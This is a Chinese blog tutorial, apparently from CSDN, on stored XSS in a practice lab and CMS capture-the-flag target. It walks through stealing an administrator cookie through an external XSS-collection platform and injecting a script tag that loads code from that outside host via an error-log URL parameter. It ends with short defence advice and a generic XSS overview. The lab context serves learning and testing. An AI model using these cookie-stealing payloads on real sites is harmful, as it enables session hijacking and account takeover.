渗透测试基础-存储型XSS原理及实操

渗透测试基础-存储型XSS原理及实操

只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力💪!

存储型XSS实操

上一篇文章简单介绍了一下反射型XSS的原理和靶场实战,因为其本身的特点(不进入目标服务器,持久性也较短,危害会低很多)。再次来了解一下存储型XSS的利用

先来看一下,如何用存储型XSS获取网站管理员Cookie,然后登陆到网站后台

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

这里也存在XSS,输入<script>alert(1)</script>到注册信息的地方点击注册,会自动登陆刚刚注册的账户,登陆完成之后就会弹窗。我们现在用XSS平台来实际获取一下管理员Cookie试一下

XSS平台
地址:https://xss8.cc/xss.php
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
复制最后这行代码到刚刚注册地方,和刚刚一样点击注册登陆。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

这里就成功的获得了Cookie,也能拿着这个Cookie去登陆刚刚的网站

在这里插入图片描述
在这里插入图片描述
填入刚刚的cookie,点击刷新,就进入了网站的后台。

储存型XSS靶场

在这里插入图片描述
看页面的最下方落款,该靶场是一个CMS,根据这个指纹,去百度找找这个版本所报出来的漏洞

这段内容基本但是摘抄人家的,我没有对其搭建环境复现
漏洞:储存型xss
https://www.jianshu.com/p/b114d4220971?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

文章的意思大概就是:
可通过构造URL,让后台生成错误日志,而后台对错误日志的内容写入没有进行安全检查,导致写入的内容原原本本的显示在错误日志的页面中,当管理员在后台查看错误日志时,就会触发XSS代码。
在这里插入图片描述
右键点击审查元素,可以看到成功插入自己添加的js代码:
在这里插入图片描述
用管理员账号密码登入后台,查看错误日志,XSS代码成功执行:
在这里插入图片描述
既然这个CMS的靶场存在这样的问题,那我们这个靶场多半也有这样的问题存在,所以用刚刚的XSS平台,然后构建url去测试一下

测试语句:
index.php?c=mail&m=test<sCRiPt/SrC=//xss8.cc/8ucD>
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在最后就拿到了flag

漏洞总结

XSS的防护方法可采用设置实体编码函数来处理,但记得要将单引号和尖括号设置进去,因为实体编码的函数,默认只会对双引号进行实体编码

《最好的防御,是明白其怎么实施的攻击》

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
XSS(Cross-Site Scripting)是一种常见的网站安全漏洞,攻击者通过在网页中注入恶意脚本来攻击用户。以下是关于 XSS基础知识: 1. XSS原理XSS 攻击利用了网站对用户输入的信任,攻击者将恶意脚本注入到网页中,当用户浏览该网页时,恶意脚本会在用户的浏览器中执行,从而达到攻击的目的。 2. XSS 的分类:XSS 可以分为三种主要类存储(Stored XSS)、反射(Reflected XSS)和 DOM (DOM-based XSS)。存储 XSS 注入的恶意脚本被存储在目标网站的数据库中,当其他用户访问该页面时,恶意脚本会被执行。反射 XSS 注入的恶意脚本通过 URL 参数传递给目标网站,目标网站在返回的页面中直接输出了这些恶意脚本,用户点击链接时脚本被执行。DOM XSS 则是利用了网页的 DOM 结构,通过修改 DOM 中的内容来触发漏洞。 3. XSS 的危害:XSS 攻击可以导致许多危害,包括盗取用户的敏感信息(如用户名、密码、cookie)、篡改网页内容、进行钓鱼攻击、传播恶意软件等。 4. 防御 XSS 的措施:为了防止 XSS 攻击,可以采取以下措施: - 输入验证和过滤:对用户输入的数据进行验证和过滤,过滤掉不可信的字符和脚本。 - 输出转义:将用户输入的数据进行转义,确保输出到网页时不会被浏览器解析为可执行的脚本。 - 使用 HTTP 头部中的 Content Security Policy(CSP)来限制网页的资源加载和执行。 - 设置 HttpOnly 属性来限制 JavaScript 对 cookie 的访问。 - 定期更新和修复网站的漏洞,以防止攻击者利用已知的 XSS 漏洞。 以上是关于 XSS基础知识,深入了解 XSS 攻击的原理和防御措施对于网站安全至关重要。在进行渗透测试时,理解 XSS 的工作原理和常见漏洞场景可以帮助你更好地发现和利用 XSS 漏洞。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jinxya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值